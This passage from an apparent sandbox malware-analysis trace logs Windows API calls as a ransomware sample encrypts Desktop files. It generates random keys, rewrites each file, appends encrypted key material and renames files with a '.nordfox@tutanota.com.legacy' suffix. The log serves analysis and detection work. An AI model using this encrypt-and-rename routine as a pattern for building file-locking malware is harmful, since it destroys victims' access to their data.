pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0118.124] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0118.125] WriteFile (in: hFile=0x6ac, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0118.125] WriteFile (in: hFile=0x6ac, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0118.125] CloseHandle (hObject=0x6ac) returned 1 [0118.125] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0118.125] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0118.125] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\F5EXUt1f1Xqj\\soy3Vu vLzyRX0z3ru.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\f5exut1f1xqj\\soy3vu vlzyrx0z3ru.avi"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\F5EXUt1f1Xqj\\soy3Vu vLzyRX0z3ru.avi.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\desktop\\f5exut1f1xqj\\soy3vu vlzyrx0z3ru.avi.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0118.130] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55c078 | out: hHeap=0x520000) returned 1 [0118.130] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0118.130] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0118.130] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567aa8 [0118.131] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c54a8 [0118.131] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3438 [0118.131] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c54a8 | out: pbBuffer=0x5c54a8) returned 1 [0118.131] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3438 | out: pbBuffer=0x5c3438) returned 1 [0118.131] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\F5EXUt1f1Xqj\\mbGpALg83B8_CPy.png", dwFileAttributes=0x80) returned 1 [0118.131] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5677d8 [0118.131] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55bfa0 [0118.131] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5677d8 | out: hHeap=0x520000) returned 1 [0118.131] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\F5EXUt1f1Xqj\\mbGpALg83B8_CPy.png" (normalized: "c:\\users\\fd1hvy\\desktop\\f5exut1f1xqj\\mbgpalg83b8_cpy.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6ac [0118.135] GetFileSizeEx (in: hFile=0x6ac, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=85074) returned 1 [0118.136] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14c52) returned 0x609bd8 [0118.136] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14c52) returned 0x2e41f30 [0118.137] ReadFile (in: hFile=0x6ac, lpBuffer=0x609bd8, nNumberOfBytesToRead=0x14c52, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x14c52, lpOverlapped=0x0) returned 1 [0118.140] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=-85074, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.140] WriteFile (in: hFile=0x6ac, lpBuffer=0x2e41f30*, nNumberOfBytesToWrite=0x14c52, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14c52, lpOverlapped=0x0) returned 1 [0118.141] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0118.141] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0118.142] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x14c52 [0118.142] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0118.143] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c54a8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c54a8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0118.143] WriteFile (in: hFile=0x6ac, lpBuffer=0x5c54a8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c54a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0118.144] WriteFile (in: hFile=0x6ac, lpBuffer=0x5c3438*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3438*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0118.144] CloseHandle (hObject=0x6ac) returned 1 [0118.144] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c54a8 | out: hHeap=0x520000) returned 1 [0118.144] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3438 | out: hHeap=0x520000) returned 1 [0118.144] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\F5EXUt1f1Xqj\\mbGpALg83B8_CPy.png" (normalized: "c:\\users\\fd1hvy\\desktop\\f5exut1f1xqj\\mbgpalg83b8_cpy.png"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\F5EXUt1f1Xqj\\mbGpALg83B8_CPy.png.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\desktop\\f5exut1f1xqj\\mbgpalg83b8_cpy.png.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0118.146] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55bfa0 | out: hHeap=0x520000) returned 1 [0118.146] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567aa8 | out: hHeap=0x520000) returned 1 [0118.146] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5675f8 | out: hHeap=0x520000) returned 1 [0118.146] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567aa8 [0118.146] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0118.146] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0118.146] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0118.146] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0118.146] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\F5EXUt1f1Xqj\\HCc2m2Kp.xlsx", dwFileAttributes=0x80) returned 1 [0118.146] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567850 [0118.146] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8ef8 [0118.146] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567850 | out: hHeap=0x520000) returned 1 [0118.146] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\F5EXUt1f1Xqj\\HCc2m2Kp.xlsx" (normalized: "c:\\users\\fd1hvy\\desktop\\f5exut1f1xqj\\hcc2m2kp.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6ac [0118.147] GetFileSizeEx (in: hFile=0x6ac, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=65912) returned 1 [0118.147] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10178) returned 0x609bd8 [0118.147] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10178) returned 0x2e41f30 [0118.148] ReadFile (in: hFile=0x6ac, lpBuffer=0x609bd8, nNumberOfBytesToRead=0x10178, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x10178, lpOverlapped=0x0) returned 1 [0118.151] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=-65912, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.151] WriteFile (in: hFile=0x6ac, lpBuffer=0x2e41f30*, nNumberOfBytesToWrite=0x10178, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesWritten=0x2e1f9bc*=0x10178, lpOverlapped=0x0) returned 1 [0118.151] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0118.151] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0118.151] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x10178 [0118.152] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0118.152] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0118.152] WriteFile (in: hFile=0x6ac, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0118.152] WriteFile (in: hFile=0x6ac, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0118.152] CloseHandle (hObject=0x6ac) returned 1 [0118.152] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0118.152] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0118.153] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\F5EXUt1f1Xqj\\HCc2m2Kp.xlsx" (normalized: "c:\\users\\fd1hvy\\desktop\\f5exut1f1xqj\\hcc2m2kp.xlsx"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\F5EXUt1f1Xqj\\HCc2m2Kp.xlsx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\desktop\\f5exut1f1xqj\\hcc2m2kp.xlsx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0118.154] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8ef8 | out: hHeap=0x520000) returned 1 [0118.154] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567aa8 | out: hHeap=0x520000) returned 1 [0118.154] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567580 | out: hHeap=0x520000) returned 1 [0118.154] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567940 [0118.154] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4530 [0118.154] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0118.154] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4530 | out: pbBuffer=0x5c4530) returned 1 [0118.154] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3508 | out: pbBuffer=0x5c3508) returned 1 [0118.154] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\F5EXUt1f1Xqj\\gOYAfd6941Fl5Ebq.mp4", dwFileAttributes=0x80) returned 1 [0118.155] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567aa8 [0118.155] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55bb68 [0118.155] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567aa8 | out: hHeap=0x520000) returned 1 [0118.155] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\F5EXUt1f1Xqj\\gOYAfd6941Fl5Ebq.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\f5exut1f1xqj\\goyafd6941fl5ebq.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6ac [0118.155] GetFileSizeEx (in: hFile=0x6ac, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=42613) returned 1 [0118.155] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa675) returned 0x609bd8 [0118.155] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa675) returned 0x614258 [0118.155] ReadFile (in: hFile=0x6ac, lpBuffer=0x609bd8, nNumberOfBytesToRead=0xa675, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0xa675, lpOverlapped=0x0) returned 1 [0118.157] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=-42613, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.157] WriteFile (in: hFile=0x6ac, lpBuffer=0x614258*, nNumberOfBytesToWrite=0xa675, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x614258*, lpNumberOfBytesWritten=0x2e1f9bc*=0xa675, lpOverlapped=0x0) returned 1 [0118.158] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0118.158] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x614258 | out: hHeap=0x520000) returned 1 [0118.159] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xa675 [0118.159] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0118.159] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0118.160] WriteFile (in: hFile=0x6ac, lpBuffer=0x5c4530*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4530*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0118.161] WriteFile (in: hFile=0x6ac, lpBuffer=0x5c3508*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3508*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0118.161] CloseHandle (hObject=0x6ac) returned 1 [0118.161] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4530 | out: hHeap=0x520000) returned 1 [0118.161] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0118.161] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\F5EXUt1f1Xqj\\gOYAfd6941Fl5Ebq.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\f5exut1f1xqj\\goyafd6941fl5ebq.mp4"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\F5EXUt1f1Xqj\\gOYAfd6941Fl5Ebq.mp4.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\desktop\\f5exut1f1xqj\\goyafd6941fl5ebq.mp4.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0118.162] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55bb68 | out: hHeap=0x520000) returned 1 [0118.162] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567940 | out: hHeap=0x520000) returned 1 [0118.162] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567760 | out: hHeap=0x520000) returned 1 [0118.163] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0118.163] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0118.163] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3468 [0118.163] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0118.163] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3468 | out: pbBuffer=0x5c3468) returned 1 [0118.163] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\F5EXUt1f1Xqj\\cUIt0qjTED4Aa4c5Q.flv", dwFileAttributes=0x80) returned 1 [0118.163] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0118.163] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55ade8 [0118.163] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0118.163] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\F5EXUt1f1Xqj\\cUIt0qjTED4Aa4c5Q.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\f5exut1f1xqj\\cuit0qjted4aa4c5q.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6ac [0118.164] GetFileSizeEx (in: hFile=0x6ac, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3343) returned 1 [0118.164] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0f) returned 0x2f40050 [0118.164] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0f) returned 0x609bd8 [0118.164] ReadFile (in: hFile=0x6ac, lpBuffer=0x2f40050, nNumberOfBytesToRead=0xd0f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f40050*, lpNumberOfBytesRead=0x2e1f9bc*=0xd0f, lpOverlapped=0x0) returned 1 [0118.165] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=-3343, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.165] WriteFile (in: hFile=0x6ac, lpBuffer=0x609bd8*, nNumberOfBytesToWrite=0xd0f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesWritten=0x2e1f9bc*=0xd0f, lpOverlapped=0x0) returned 1 [0118.165] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f40050 | out: hHeap=0x520000) returned 1 [0118.165] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0118.165] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xd0f [0118.165] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0118.165] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0118.165] WriteFile (in: hFile=0x6ac, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0118.166] WriteFile (in: hFile=0x6ac, lpBuffer=0x5c3468*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3468*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0118.166] CloseHandle (hObject=0x6ac) returned 1 [0118.166] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0118.166] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3468 | out: hHeap=0x520000) returned 1 [0118.166] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\F5EXUt1f1Xqj\\cUIt0qjTED4Aa4c5Q.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\f5exut1f1xqj\\cuit0qjted4aa4c5q.flv"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\F5EXUt1f1Xqj\\cUIt0qjTED4Aa4c5Q.flv.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\desktop\\f5exut1f1xqj\\cuit0qjted4aa4c5q.flv.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0118.171] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55ade8 | out: hHeap=0x520000) returned 1 [0118.171] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0118.171] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0118.171] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567490 [0118.171] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4428 [0118.171] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0118.171] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0118.171] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0118.171] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\F5EXUt1f1Xqj\\c5-u_l1Lz8YJ.m4a", dwFileAttributes=0x80) returned 1 [0118.172] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567418 [0118.172] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0118.172] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567418 | out: hHeap=0x520000) returned 1 [0118.172] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\F5EXUt1f1Xqj\\c5-u_l1Lz8YJ.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\f5exut1f1xqj\\c5-u_l1lz8yj.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6ac [0118.172] GetFileSizeEx (in: hFile=0x6ac, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=73376) returned 1 [0118.172] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11ea0) returned 0x609bd8 [0118.172] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11ea0) returned 0x2e41f30 [0118.173] ReadFile (in: hFile=0x6ac, lpBuffer=0x609bd8, nNumberOfBytesToRead=0x11ea0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x11ea0, lpOverlapped=0x0) returned 1 [0118.176] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=-73376, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.176] WriteFile (in: hFile=0x6ac, lpBuffer=0x2e41f30*, nNumberOfBytesToWrite=0x11ea0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11ea0, lpOverlapped=0x0) returned 1 [0118.177] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0118.177] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0118.177] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11ea0 [0118.177] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0118.177] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0118.177] WriteFile (in: hFile=0x6ac, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0118.178] WriteFile (in: hFile=0x6ac, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0118.178] CloseHandle (hObject=0x6ac) returned 1 [0118.178] HeapFree (in: hHeap=0x520000, 